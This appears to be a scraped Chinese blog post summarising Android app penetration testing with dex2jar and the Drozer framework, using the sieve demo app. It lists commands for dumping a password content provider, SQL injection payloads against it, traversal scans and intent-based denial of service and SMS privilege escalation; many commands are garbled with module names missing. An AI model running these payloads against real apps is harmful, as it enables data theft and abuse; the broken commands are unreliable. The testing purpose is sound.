admin管理员组

文章数量:1532323

2023年12月13日发(作者:)

AndroidAPP渗透测试---总结

1、apk反编译得到源代码

使用编译软件 dex2gar 和 对Android APP软件进行反编译。具体步骤如下:

(1)首先将APK文件后缀改为zip并解压,得到其中的,它就是java文件编译再通过dx工具打包而成的,将复制到所在目录dex2jar文件

夹。

(2)在命令行下定位到所在目录,运行 ,生成classes_

首先将要编译的apk文件后缀修改成 .zip 解压之后得到 文件,将该文件下使用 文件编译成 . 生成 将生成的该文件导入 这

样我们就可以看到APP的源码了

代码审计部分基本从这部分开始。

对APP的渗透测试我们需要APP的渗透黑框架来完成。我这里使用的 渗透框架是 Drozer 使用的系统是 AndroL 4b

2、Drozer渗透测试框架

Drozer 有Window版本和 linux版本(虚拟机),我这里使用的是虚拟机 AndroL 4b

如何安装 虚拟机中的环境这个网上有完整的介绍。这里不再写。

(1)启动

连接到虚拟机: adb connect 127.0.0.1:5554 (如果没有使用虚拟机可以不用这步)

PC上使用adb工具进行端口转发,转发数据到 Drozer 使用的端口 31415

adb forward tcp:31415 tcp:31415

开启 embedded server-enable

drozer console connect

安装 要测试的APP软件到模拟器上 ,安装方法使用 adb install

安装完成呢之后在 模拟器丧看到APP已经安装成功

首先我们在 Drozer框架下对被测试的APP进行 信息的收集 run

这里我以公开组件漏洞为例子,进行 说明安全审计方法:

组件 Content Provider配置错误会导致数据泄露。content Provider 以表格的形式把数据展现给外部的应用, 每个 Content Provider都对应一个 “ Content://” 开头的特定的

URL, 任何应用都可以通过这个URL操作 Content Provider应用的数据库。如果有的应用对权限控制不当会导致信息泄露的问题。

进一步使用 Mercury 获取各个URL的数据

安全渗透测试完成的APP我们如何进行卸载了? 使用 adb uninstall <.packagename > 之前必须切换到 adb shell ,之后才可以卸载。

在渗透测试的时候借助其他工具 像burp Suite、 SDK manage、Wireshark等工具对模拟器上的APP进行数据包抓包拦截,以及流量的分析。

具体的安全检查点可以对照下面的操作去检查。

1.获取包名

  dz> run -f sieve

  

  2.获取应用的基本信息

  run -a

  3.确定攻击面

  run surface

  ty

  (1)获取activity信息

  run -a

  (2)启动activity

  run --component

  dz> help

  usage: run [-h] [--action ACTION] [--category CATEGORY]

  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]

  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

  [--mimetype MIMETYPE]

  t Provider

  (1)获取Content Provider信息

  run -a

  (2)Content Providers(数据泄露)

  先获取所有可以访问的Uri:

  run is -a

  获取各个Uri的数据:

  run

  content://entProvider/Passwords/ --vertical

  查询到数据说明存在漏洞

  (3)Content Providers(SQL注入)

  run content://entProvider/Passwords/ --projection "'"

  run content://entProvider/Passwords/ --selection "'"

  报错则说明存在SQL注入。

  列出所有表:

  run content://entProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

  获取某个表(如Key)中的数据:

  run content://entProvider/Passwords/ --projection "* FROM Key;--"

  (4)同时检测SQL注入和目录遍历

  run ion -a

  run sal -a

  6 intent组件触发(拒绝服务、权限提升)

  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

  1.查看暴露的广播组件信息:

  run -a   获取broadcast receivers信息

  run --component 包名 --action   2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

  run 通过intent发送broadcast receiver

  (1) 空action

  run --component 包名 ReceiverName

  run --component 包名 ReceiverName

  (2) 空extras

  run --action

  3.尝试权限提升

  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考Inten

  (1)获取service详情

  run -a

  不使用drozer启动service

  am startservice –n 包名/service名

  (2)权限提升

  run --action _SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

  7.文件操作

  列出指定文件路径里全局可写/可读的文件

  run lefiles --privileged /data/data/

  run lefiles --privileged /data/data/

  run --component 包名 --action

  8.其它模块

   在设备上开启一个交互shell

   / ad 上传/下载文件到设备

  x / lsu 安装可用的二进制文件

本文标签: 文件权限使用进行测试